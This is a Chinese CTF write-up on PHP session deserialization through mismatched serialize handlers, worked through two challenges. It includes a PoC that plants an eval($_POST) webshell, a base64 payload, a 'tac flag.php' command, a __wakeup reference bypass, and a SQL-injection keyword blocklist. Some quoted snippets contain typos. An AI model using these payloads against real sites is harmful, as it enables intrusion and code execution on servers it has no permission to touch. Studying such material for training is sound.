记一次session反序列化
本文最后更新于 16 天前,其中的信息可能已经有所发展或是发生改变。

Session的序列化

当用户通过PHP的$_SESSION变量存储数据时,PHP会自动将这些数据序列化(即转换成字符串)并存储在服务器端的Session文件或其他Session存储介质中。序列化的格式通常是可以通过serialize()函数手动生成的格式

当用户再次访问Session数据时,PHP会自动从服务器端读取Session文件,并通过unserialize()函数将数据转换回原始格式。这样,开发者可以像操作普通变量一样处理$_SESSION中的数据

怎么利用?

Session反序列化存在潜在的安全隐患,尤其是在数据没有经过适当验证的情况下,可能会导致反序列化漏洞,可能通过伪造的序列化数据或操纵Session内容,使反序列化的对象触发任意代码执行(RCE),达到我们想要的目的

这个主要是还得题上见

例题1

/index.php
<?php

error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}

?>


<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>ctfshow登陆</title>
<link href="css/style.css" rel="stylesheet">
</head>
<body>

<div class="pc-kk-form">
<center><h1>CTFshow 登陆</h1></center><br><br>
<form action="" onsubmit="return false;">
<div class="pc-kk-form-list">
<input id="u" type="text" placeholder="用户名">
</div>
<div class="pc-kk-form-list">
<input id="pass" type="password" placeholder="密码">
</div>

<div class="pc-kk-form-btn">
<button onclick="check();">登陆</button>
</div>
</form>
</div>


<script type="text/javascript" src="js/jquery.min.js"></script>

<script>

function check(){
$.ajax({
url:'check.php',
type: 'GET',
data:{
'u':$('#u').val(),
'pass':$('#pass').val()
},
success:function(data){
alert(JSON.parse(data).msg);
},
error:function(data){
alert(JSON.parse(data).msg);
}

});
}


</script>

</body>
</html>

index.php中可以通过修改cookie来控制session的值

/check.php
<?php

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
/inc.php
<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW;
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
  'database_type' => 'mysql',
  'database_name' => 'web',
  'server' => 'localhost',
  'username' => 'root',
  'password' => 'root',
  'charset' => 'utf8',
  'port' => 3306,
  'prefix' => '',
  'option' => [
      PDO::ATTR_CASE => PDO::CASE_NATURAL
  ]
]);

// sql注入检查
function checkForm($str){
  if(!isset($str)){
      return true;
  }else{
  return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
  }
}


class User{
  public $username;
  public $password;
  public $status;
  function __construct($username,$password){
      $this->username = $username;
      $this->password = $password;
  }
  function setStatus($s){
      $this->status=$s;
  }
  function __destruct(){
      file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
  }
}

/*生成唯一标志
*标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function uuid()  
{  
  $chars = md5(uniqid(mt_rand(), true));  
  $uuid = substr ( $chars, 0, 8 ) . '-'
          . substr ( $chars, 8, 4 ) . '-'
          . substr ( $chars, 12, 4 ) . '-'
          . substr ( $chars, 16, 4 ) . '-'
          . substr ( $chars, 20, 12 );  
  return $uuid ;  
}  

在/inc.php中看到了危险函数可以读

check.php是个登陆检查

php_serialize处理时内容为:

a:1{s:8:"username";s:5:"_sun_";} 

php处理时内容为:

username|s:5:"_sun_";

主要因为session.serialize_handler对session处理方式的不同,引起了该反序列化漏洞

所以就是在php处理方式下,就只会读取|后面的内容作为session的值

审计源码可以知道session的值会等于cookie的值,而且cookie的值是可控的,这就是我们利用的点,而且可以利用危险函数写入webshell

将写入的webshell序列化,利用处理方式的不同,在php处理的方式下将序列化的结果写入session值里,也就相,访问该木马文件即可找到flag

Poc

<?php
class User{
  public $username = '1.php'; //在inc.php里设置了文件名拼接,记得添加"log-";
  public $password = '<?php eval($_POST[a]); ?>'; //提示:flag在phpinfo里;
}
$user = new User();
echo(base64_encode('|'.serialize($user)));
?>
fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNToiPD9waHAgZXZhbCgkX1BPU1RbYV0pOyA/PiI7fQ==

limit传一下

然后去check.php中看是否传入

然后再去访问写入的文件,以此去读

/log-1.php
a=system('tac flag.php');

例题2

其实主要就是利用处理器读取方式的不同这个漏洞进行的session伪造

处理器对应的存储格式
php键名+竖线+经过序列化函数处理的值
php_serialize(php>=5.54)经过序列化处理的数组
php_binary键名的长度对应的ASCII字符+键名+经过序列化处理的值

这里用一下其他师傅的例题

/index.php
<?php
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
  public $name;
  public $her;
  function __wakeup(){
      $this->her=md5(rand(1, 10000));
      if ($this->name===$this->her){
          include('flag.php');
          echo $flag;
      }
  }
}
?>

审计一下,这边可以得到flag

name=her才会输出flag变量

只要绕过一下__wakeup到时候改一下属性个数就可以绕过了,或者用引用也是可以的

/hint.php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

这里面给了传参的点呐

设置Session序列化方式:使用 ini_set(‘session.serialize_handler’, ‘php_serialize’) 将Session的序列化方式设置为 php_serialize,意味着PHP会使用默认的序列化方法来存储和检索Session数据

这边给a传参的值就会给到session

<?php
highlight_file(_FILE_);
erro_reporting(0);
ini_set('session.serialize_handler','php_serialize)
session_start();
$_SESSION['benben'] = $_GET['ben'];
$_SESSION['b'] = $_GET['b'];
?>

这里就是通过传参就是被那个session_serialize处理了

所以利用这个session反序列化漏洞

通过index.php构造常规的序列化字符串
<?php
class Flag{
public $name;
public $her
}
$a = new Flag();
$a->name = &$a->her;
echo serialize($a)
?>
//O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

这边利用引用绕过一下__wakeup就OK了

|O:4:"Flag":2:{s:4:"name";N;s:3:"her";R:2;}

这样就可以了,最后它就会读到这个,相当于伪造完成了

最后返回index.php刷新一下就OK了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇